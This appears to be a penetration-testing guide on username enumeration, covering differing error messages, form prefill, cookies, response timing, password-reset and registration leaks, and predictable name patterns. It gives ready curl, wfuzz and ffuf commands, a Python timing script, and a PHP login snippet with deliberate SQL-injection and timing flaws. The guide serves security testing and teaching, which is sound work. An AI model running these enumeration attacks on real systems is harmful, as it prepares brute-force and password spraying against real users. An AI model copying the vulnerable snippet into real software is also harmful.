Username enumeration
Five places an application leaks “this user exists”:
# 1. Login error message differs"Unknown username" vs. "Invalid password for user X"
# 2. Form prefill on submit (sticky field for valid users only)<input name="user" value="admin"> # form preserves valid usernames<input name="user" value=""> # form clears unknown usernames
# 3. Response timing differs (password hashing only runs for valid users)admin → 263ms guest → 5msnonexistent → 3ms randomXXX → 4ms
# 4. Password-reset flow differs"Email sent to [email protected]" vs. "Username not found"
# 5. Registration form rejects taken names"That username is already in use" → that username existsSuccess indicator: one or more usernames confirmed valid, ready to target with brute-force or password spraying.
Why bother
Section titled “Why bother”Username enumeration is the cheap prerequisite to almost everything else in this section. Once you have a list of valid usernames:
- Targeted brute-force (Password policy) becomes feasible on just those users
- Password spraying (one common password, many users) becomes precise
- Reset-token attacks (Reset tokens) need a username to start
- Username injection (Username injection) needs a target user
- OSINT and phishing have a target list
Most defenses are pitched at “preventing the brute-force.” The username-enumeration leak almost always comes free with whatever defense isn’t.
Method 1 - User-unknown error message
Section titled “Method 1 - User-unknown error message”The classic. Application replies differently for “user doesn’t exist” vs. “user exists but wrong password.”
Detection
Section titled “Detection”# Submit with a definitely-fake user and an obviously-wrong passwordcurl -s -X POST -d "user=zzzzzzzz9999&pass=wrong" https://<TARGET>/login > /tmp/r-unknown
# Submit with a probable user (admin) and an obviously-wrong passwordcurl -s -X POST -d "user=admin&pass=wrong" https://<TARGET>/login > /tmp/r-admin
# Diffdiff /tmp/r-unknown /tmp/r-adminDifferences to look for:
- Error message text (“Unknown username” / “Incorrect password”)
- Number of error elements (one error block vs. two)
- HTTP status code (rare but happens - 401 for known user, 404 for unknown)
- Set-Cookie header (some apps set a “failed attempt” cookie only for valid users)
Exploitation
Section titled “Exploitation”Once a divergence is identified, brute-force the username list against the divergence signal:
# wfuzz hiding the "Unknown username" responsewfuzz -c -z file,/opt/useful/SecLists/Usernames/top-usernames-shortlist.txt \ -d "Username=FUZZ&Password=dummypass" \ --hs "Unknown username" \ https://<TARGET>/login.phpThe --hs filter hides any response matching the “user not found” message. Everything that survives the filter is a valid username.
ffuf equivalent:
ffuf -w /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt:UNAME \ -u https://<TARGET>/login.php \ -X POST -d "Username=UNAME&Password=dummypass" \ -fr "Unknown username"Method 2 - Form prefill inference
Section titled “Method 2 - Form prefill inference”Some applications return the login page with the submitted username preserved in the form field - but only if the username is valid:
<!-- After submitting an existing username with wrong password --><input type="text" name="username" value="admin">
<!-- After submitting an unknown username --><input type="text" name="username" value="">This pattern appears most often in:
- Mobile-optimized login pages (developers prioritized UX over leak prevention)
- Old WordPress versions (WP ticket #3708 - preserved by design)
- Custom apps with helpful UX
Detection
Section titled “Detection”# Check whether the username gets echoed in the formcurl -s -X POST -d "user=admin&pass=wrong" https://<TARGET>/login | grep -E 'name="user"'curl -s -X POST -d "user=nonexistent&pass=wrong" https://<TARGET>/login | grep -E 'name="user"'
# If first prints value="admin" and second prints value="" → enumeration availableExploitation
Section titled “Exploitation”Filter on whether the response contains the submitted username:
# ffuf - only match responses where the submitted username appears in a value="..." fieldffuf -w usernames.txt:UNAME \ -u https://<TARGET>/login \ -X POST -d "user=UNAME&pass=wrong" \ -mr 'value="UNAME"' # regex match in responseNote: some applications echo the submitted value regardless (for any UX reason), but with a marker indicating validity. Look for hidden fields, error class names, or input-error states - those distinguish valid from invalid where the value alone doesn’t.
A real example pattern from custom apps: the page source contains either:
<input type="hidden" name="wronguser" value="admin">…for invalid usernames (the app marks the attempt as a wrong username), or:
<input type="hidden" name="validuser" value="admin">…for valid usernames (the app marks the attempt as a wrong password against a known user). Filtering on wronguser vs. validuser enumerates the valid set.
Cookie-based inference
Section titled “Cookie-based inference”A subtler variant - the application sets a different cookie based on validity:
# Valid username → cookie 'failed_login_count' increments# Invalid username → no cookie set
curl -s -c - -X POST -d "user=admin&pass=wrong" https://<TARGET>/login | grep -i Set-Cookiecurl -s -c - -X POST -d "user=nonexistent&pass=wrong" https://<TARGET>/login | grep -i Set-CookieIf the cookie set differs, that’s a signal - fuzz on Set-Cookie presence instead of response body.
Method 3 - Timing attacks
Section titled “Method 3 - Timing attacks”When the application hashes the submitted password before comparison, valid users incur the hashing cost - invalid users don’t (no password to hash against). The difference is observable.
Vulnerable pattern (the $result from the user lookup gates whether hashing runs):
$result = $db->query('SELECT * FROM users WHERE username="'.$user.'"');if ($result) { $row = mysqli_fetch_row($result); $cpass = hash_password($_POST['password']); // ← only runs for valid users if ($cpass === $row['cpassword']) { /* logged in */ } else { /* invalid credentials */ }} else { /* invalid credentials */ // ← no hashing for invalid user}Detection
Section titled “Detection”# Time a definitely-valid user (something obvious like admin or root)time curl -s -X POST -d "user=admin&pass=$(date +%s%N)" https://<TARGET>/login > /dev/null
# Time a definitely-invalid usertime curl -s -X POST -d "user=zzzzzzz9999&pass=$(date +%s%N)" https://<TARGET>/login > /dev/nullIf the first takes consistently longer (50-500ms more, depending on the hashing algorithm), the application is leaking through timing.
Exploitation
Section titled “Exploitation”Time every candidate username and pick the outliers:
import requests, time
URL = "https://target.example.com/login"
for username in open('/opt/useful/SecLists/Usernames/top-usernames-shortlist.txt'): username = username.strip() times = [] for _ in range(5): # average 5 attempts to defeat jitter start = time.time() requests.post(URL, data={'user': username, 'pass': 'wrong'}) times.append(time.time() - start) avg = sum(times) / len(times) print(f"{username:20s} {avg:.3f}")Look for the outliers. With bcrypt-grade hashing, valid users typically take 200-300ms while invalid users take 1-5ms - the gap is unmistakable. With faster algorithms (SHA1, MD5) the gap might be sub-millisecond and easily lost to network jitter; in that case, average many more samples and accept that some candidates will produce false positives.
Sample output against a vulnerable app:
admin 0.263root 0.003test 0.005guest 0.003info 0.001mysql 0.001oracle 0.001admin is the only outlier - clearly valid.
Defeating timing attack noise
Section titled “Defeating timing attack noise”Network jitter, server CPU load, and HTTPS-handshake variation all add noise. Practical mitigations on the attacker side:
- Average many samples (5-20 per candidate)
- Filter outliers (drop top/bottom 10% before averaging)
- Test from a host with low network latency to the target
- Run during off-peak hours
If the gap is comparable to the noise floor, the application is probably using fast hashing (MD5/SHA1) without significant computation - timing enumeration still works but needs much larger sample sizes.
Method 4 - Password reset leakage
Section titled “Method 4 - Password reset leakage”Reset forms are often less protected than login forms - they hand over information to “help” the user:
"An email has been sent to your address" (valid user - message would actually be sent)"That username is not registered" (invalid user)Same response-diffing approach works:
ffuf -w usernames.txt:UNAME \ -u https://<TARGET>/forgot-password \ -X POST -d "user=UNAME" \ -fr "not registered"The cost of this attack: actual reset emails get sent to actual users. Some users will notice and contact support. Use sparingly during stealth-required engagements; freely during loud engagements where the customer expects activity.
Hardened reset forms
Section titled “Hardened reset forms”A reset form that always returns the same response regardless of username validity defeats this attack:
"If that username is registered, you will receive an email" (no matter what)When you see this generic message, the reset path likely doesn’t enumerate - pivot to another method.
Method 5 - Registration form
Section titled “Method 5 - Registration form”Self-registration almost always tells you when a username is taken:
"Sorry, that username is already in use. Choose another."The registration form is also usually less protected than login (developers expect higher legitimate volume of registration attempts than login failures).
Exploitation
Section titled “Exploitation”ffuf -w admin-usernames.txt:UNAME \ -u https://<TARGET>/register \ -mr "already in use" # match responses indicating the user existsThis approach has two costs:
- Loud - every attempt is a registration request, often visible to admins
- Creates accounts - even unsuccessful attempts may leave records
Sub-addressing for unlimited registrations
Section titled “Sub-addressing for unlimited registrations”Email sub-addressing (RFC 5233) lets you register many accounts with one mailbox:
[email protected] ← delivered to [email protected][email protected] ← delivered to [email protected][email protected] ← delivered to [email protected]When the registration form accepts these (most do - sub-addressing is RFC-compliant), you can spin up arbitrary accounts during testing.
Method 6 - Predictable usernames
Section titled “Method 6 - Predictable usernames”When usernames follow a pattern, enumerate the pattern instead of dictionary-attacking:
user1000, user1001, user1002, ... # sequentialemp001, emp002, emp003, ...john.smith, jane.doe # first.last from a company directorysupport.us, support.eu, support.asia # role-region patternadmin.gr, admin.it, admin.us # role-countrycode patternOnce you’ve identified one or two valid usernames through any other method, look for the pattern. If support.us exists, try support.uk, support.de, support.fr. If emp001 exists, try emp002 through emp999.
Generating predictable patterns
Section titled “Generating predictable patterns”# Sequentialseq -f 'user%04g' 1 9999 > /tmp/sequential.txt
# Common role-country patternsroles="admin support helpdesk tech ops"countries="us uk de fr es it gr cn jp"for r in $roles; do for c in $countries; do echo "$r.$c"; done; done > /tmp/role-country.txt
# Then fuzz the generated listffuf -w /tmp/role-country.txt:UNAME \ -u https://<TARGET>/messages?to=UNAME \ -mr "user not found" -fmode andA message-send feature is sometimes a better enumeration channel than the login itself - “user not found” responses are explicit and unrelated to authentication, so they often skip authentication-style rate-limiting.
Combining signals
Section titled “Combining signals”A real engagement usually mixes methods. Typical chain:
- Test login error response - gives 0 or 1 explicit leaks
- If no explicit leak, test timing - usually finds 1-3 candidates
- Confirm candidates via password-reset or message-send features
- Identify pattern from confirmed candidates
- Generate pattern-based list, enumerate the rest
The skill-assessment-style chain from authentication training: “Support page mentions a ‘support’ user and other accounts by country code” → use the message-send feature to test support.us, support.uk, etc. → confirm valid ones → expand to admin.us, admin.uk, etc. on the same pattern.
Detection-only payloads
Section titled “Detection-only payloads”# Simple side-by-side comparison without committing to a full enumerationcurl -s -X POST -d "user=admin&pass=wrong" https://<TARGET>/login | md5sumcurl -s -X POST -d "user=zzzzzz&pass=wrong" https://<TARGET>/login | md5sum# Different MD5 = differing response = enumeration available- Hardened applications return identical responses for valid and invalid users. Identical text, identical timing, identical cookies. When this is genuinely the case, enumeration is closed at this path - pivot to other paths.
- The cleanest detection-time signal is response equality. Generate a few requests with known-fake and known-real (admin, root, your own account) and
diffthe responses. If they’re identical bit-for-bit, enumeration through this endpoint is closed. - Username enumeration is a CWE-203 issue (Observable Discrepancy). OWASP doesn’t separately enumerate username enumeration but folds it into A07 (Identification and Authentication Failures). Some bug bounty programs reject enumeration as low-severity; others reward it as an information disclosure.
- OSINT supplements enumeration. Company employee names from LinkedIn, GitHub profiles, leaked databases. Combine with the application’s username scheme (firstname.lastname, firstinitiallastname, etc.) for a high-quality targeted list before hitting the application at all.